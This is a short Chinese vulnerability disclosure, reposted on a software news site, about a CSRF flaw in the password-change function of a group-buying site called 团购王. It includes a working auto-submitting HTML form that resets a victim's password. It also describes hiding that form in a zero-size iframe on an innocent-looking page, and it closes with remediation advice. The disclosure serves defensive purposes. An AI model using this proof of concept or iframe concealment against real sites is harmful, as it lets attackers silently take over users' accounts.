正在阅读：团购王csrf可劫持用户修改密码团购王csrf可劫持用户修改密码

2017-03-14 14:14 出处：其他 作者：佚名 责任编辑：lixianmei

 　　修改密码处无验证token，并且无验证原密码(一个涉及money的站，修改密码居然没有验证原密码！！！)，可以通过一个精心构造的表单欺骗用户修改密码。

<html>
 
<body>
 
<form name="csrf" action="http://www.go.cn/index.php？m=settings" method="POST">
 
<input type=text name=password value="woooooooyun"></input>
<input type=text name=password2 value="woooooooyun"></input>
<input type=text name=do value="update"></input>
<input type="submit" value="submit" />
 
</form>
 
<script>
 
 document.csrf.submit();
 
</script>
 
</body>
 
</html>

 

　　欺骗用户访问后，密码会被改成woooooooyun。

　　直接让用户访问太明显了，直接会跳转到“修改成功”的页面，所以可以准备一个看似正常的页面(如新闻)，然后iframe这个POC，并且height=0，width=0，用户就会在不知情的情况下被修改密码，后果可想而知了。

　　修复方案：

　　1.修改密码一定要验证原密码

　　2.所有涉及用户信息的操作要验证随机的token.
喵喵折购物助手
立即下载

相关文章

PPT内容制作基础教学分享【详解】 逍遥模拟器怎么多开 逍遥模拟器多开的教程【详解】 逍遥模拟器怎么安装软件 逍遥模拟器安装软件的教程【详解】 如何在PPT中插入视频 在PPT中插入视频的方法【详解】 Safari浏览器打不开该网页怎么办 【详解】 华为电脑管家无法登录怎么办 华为电脑管家登录不了的解决方法【详解】 Win7安装Office2010提示需要MSXML 6.10.1129.0组件怎么办 【详解】 华为电脑管家怎么清理垃圾 华为电脑管家清理垃圾的方法【详解】 Office365企业版和家庭版有什么区别 【详解】 PPT软件中如何自己制作灯泡图标的方法教学【详解】
聚超值·精选

关注我们

聚超值

热门软件

PC软件 安卓应用 iOS应用 手游电脑版
游戏专区
王者荣耀专区 绝地求生专区 炉石传说专区
IT百科 热门专题

汽车资讯

  • 正在加载中...

成都车展 宏光MINI EV 普拉多 欧拉黑猫 途达 起亚嘉华 玛奇朵 皇冠陆放 奔驰C级 哈弗神兽 坦克600 奥迪Q5 思域 卡罗拉双擎E+ 轩逸 太平洋汽车网app 新能源车

最新资讯离线随时看 聊天吐槽赢奖品